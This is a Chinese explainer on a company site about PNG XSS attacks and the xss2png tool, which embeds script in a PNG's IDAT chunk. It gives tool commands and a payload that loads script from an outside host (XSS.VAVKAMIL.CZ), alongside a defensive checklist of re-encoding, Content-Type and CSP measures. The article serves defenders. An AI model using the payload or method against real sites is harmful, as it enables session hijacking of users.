资讯动态

PNG XSS 攻击是什么?一文读懂如何用 xss2png 把脚本藏进图片的 IDAT 数据块

发布时间:2026/8/21 5:15:28 来源:尧图企业网站定制
PNG XSS 攻击是什么一文读懂如何用 xss2png 把脚本藏进图片的 IDAT 数据块【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png你上传的头像图片真的只是一张图片吗某个工作日的下午安全团队接到一条工单用户上传了一张 32×32 像素的头像视觉上毫无异常文件大小也完全符合 PNG 规范。可当这台服务器恰好以错误的内容类型返回这张图片时藏在 IDAT 数据块里的一段字节竟被浏览器当成 HTML 解析一段SCRIPT标签就此执行用户会话被窃取。这不是电影情节。PNG XSS 攻击是真实存在、且被公开讨论过的攻击手法而开源工具 xss2png正是把这种手法变成一条命令的实验台。为什么图片会成为大多数人的安全盲区你可能会想图片不就是死数据吗渲染出来就是红红绿绿的像素哪来的风险问题恰恰出在这两个理所当然上。第一图片被视为静态资源多数应用对它的处理只有存下来、显示出来两步中间没有任何校验第二PNG 的格式远比一张像素表复杂它内部是有结构的而大多数开发者并不了解这种结构。于是图片成了上传链路里少有人看管的角落——图片中的 XSS 漏洞之所以能长期存在根源就在这里。先搞懂 IDAT 数据块图片里的保险箱夹层是什么要理解攻击原理先回答一个更基础的问题一张 PNG 文件里到底有什么简单说PNG 由文件头 一串数据块组成其中三个关键数据块是IHDR记录宽、高、颜色类型等元信息IDAT存放压缩后的实际图像数据IEND文件结束标记。把这串结构比作一个保险箱IHDR 是箱身上的铭牌IEND 是锁扣而IDAT 就是内部空间最大的夹层。正常使用中夹层里放的是压缩过的像素数据但如果有人懂得拆装技巧就能在夹层里夹带别的私货从外面看保险箱一切如常。难点在于IDAT 里的数据经过压缩理论上你写进去的恶意内容会被压缩算法打散无法原样保留。想绕过这道关卡就必须顺着压缩算法的脾气来——这正是 xss2png 这类工具的精华所在。如何用 xss2png 生成测试用例攻击全链路复盘先交代两个名词后面会反复用到DEFLATEPNG 内部使用的压缩算法zlib 是它的经典实现PNG 过滤器filter压缩之前对每一行像素做的预处理目的是让数据更易压缩。xss2png 藏 payload 的思路可以概括为三步反向操作。第一步让压缩器舍不得动我们的字节。DEFLATE 压缩时会用霍夫曼编码重新编码数据如果输入里恰好存在与输出字节流对应的静态霍夫曼码压缩后这些字节就能原样保留。源码中的reverse_huffman函数就是在做这件事——把 payload 先转成一段看起来像压缩输出的比特流再交给压缩器相当于提前把行李摆成安检仪认不出的角度。第二步抵消过滤器的干扰。压缩之前PNG 会先对像素行做过滤运算如 Sub 滤波、Average 滤波这会改写 payload 字节。工具里的reverse_filter_1、reverse_filter_3负责预补偿先把过滤运算的逆运算作用在 payload 上经过真正的过滤处理后字节恰好变回原样。第三步把字节画进像素。处理好的字节串按 RGB 三通道逐一写入像素最终用 Pillow 输出成一张 32×32 的小图。因为字节本身是合法的图像数据图片能正常打开、正常渲染——肉眼看到的只是一张色块图。把三步串起来就是一次完整攻击的故事线构造 payload例如SCRIPT SRC//恶意地址/SCRIPT用 xss2png 生成 PNG脚本以明文形式躺在 IDAT 块中攻击者把图片上传到目标站点头像、附件、图床均可诱导服务器以text/html或缺失 Content-Type 的方式返回该文件浏览器把图片内容当作 HTML 解析脚本被触发执行。第 4 步是整个链条的点火开关也是需要配合条件的一步——所以这类攻击常出现在文件包含漏洞、错误的内容类型配置或特殊中间件组合中。实操如下。先克隆项目并安装依赖git clone https://gitcode.com/gh_mirrors/xs/xss2png cd xss2png pip install -r requirements.txt再生成一张带料的图片python3 xss2png.py -p SCRIPT SRC//XSS.VAVKAMIL.CZ/SCRIPT -o xss.png终端会提示 payload 已采用、PNG 已生成。用十六进制查看工具确认成果你会发现 IDAT 块里赫然躺着明文脚本hexdump -C xss.png输出中可以看到类似SCRIPT SRC//XSS.VAVKAMIL.CZ/SCRIPT的 ASCII 明文。也就是说这张图片一旦被错误地当作 HTML 返回脚本就有机会执行。 提示xss2png 的命令行说明里写着 Dont be evil。这类工具只应在授权测试、CTF 或 DVWA 这类靶场中使用——未经授权对目标发起测试本身就在违法边缘试探。PNG 文件上传如何安全校验一张防御矩阵就够了面对这种隐蔽攻击单一防线远远不够。按数据流转的环节可以建立这样一张防护矩阵环节防线要点上传端文件类型校验校验文件魔数PNG 文件头89 50 4E 47上传后重编码禁止依赖扩展名与 Content-Type 判断存储端隔离与转码上传区与执行区隔离图片统一转码压缩剥离多余数据块展示端强制正确的 Content-Type所有图片以image/png等明确类型返回禁止text/html兜底策略端内容安全策略CSP配置script-src白名单即使脚本被解析也拒绝执行这里最关键的两条一是展示端必须锁死 Content-Type二是策略端用 CSP 兜底。前者切断图片变 HTML的触发条件后者在触发条件成立时阻止脚本运行——两层各司其职缺一不可。五分钟自检清单图片文件安全检测入门如果你管理着任何用户可上传图片的系统建议立刻按下面几步做一次图片文件安全检测生成测试文件按上文命令用 xss2png 生成一张测试 PNG验证可显示性在浏览器直接打开本地文件确认图片能正常渲染——这一步验证视觉无异常的说法是否成立检查返回头用curl -I查看上传后服务端返回的Content-Type确认不是text/html尝试解析在授权前提下把图片放到测试环境的文件包含入口观察是否有脚本执行验证扫描器用现有 WAF 或安全扫描器扫这张图片看它是否真的视而不见——如果没报警说明防线有缺口心里要有数。⚠️ 这一步的意义不在于复现攻击而在于确认当攻击真的发生时你的哪道防线会先被击穿。常见疑问解答Q为什么普通杀软和 WAF 检测不到这种图片A因为 IDAT 块里本来就是二进制图像数据恶意字节被包装成合法的压缩像素流语义上就是正常 PNG。没有针对 IDAT 内部结构的深度解析扫描器很难区分正常像素和夹带脚本。Q如何快速判断一张 PNG 是否异常A直接用十六进制工具查看 IDAT 块。正常像素压缩数据几乎不包含连续可读的 ASCII 文本如果 IDAT 里出现完整的SCRIPT、?php等明文片段就要高度警惕。Q把图片转码一遍如 PNG 转 JPEG能防御吗A能大幅降低风险。重编码会重新生成 IDAT 块破坏原有字节编排大多数 payload 会因此失效。这也是防御矩阵中存储端转码的核心理由。Q这种攻击未来会更难防吗A存在这种趋势。AI 生成的图片可能在生成阶段就被嵌入 payloadWebAssembly 让 payload 形态更多样多云架构下不同厂商的中间件配置差异会放大某一处配置错误的风险。但万变不离其宗——正确的 Content-Type 加上 CSP始终是最可靠的两道闸门。写在最后把图片安全写进你的常规清单PNG XSS 攻击给我们的提醒其实很朴素任何用户输入无论它看起来多像无害的静态资源都值得被当作输入来对待。对你来说最省力的做法是记住三件事上传环节做重编码与校验展示环节锁死 Content-Type策略环节配置 CSP。如果你恰好负责安全测试xss2png 会是一个很好用的压力探针——用它生成样本去验证自己的防御矩阵比等真实攻击上门再补救要划算得多。安全是一场持续的攻防练习而练习的第一步往往是先承认你上传的头像图片可能真的不只是图片。【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价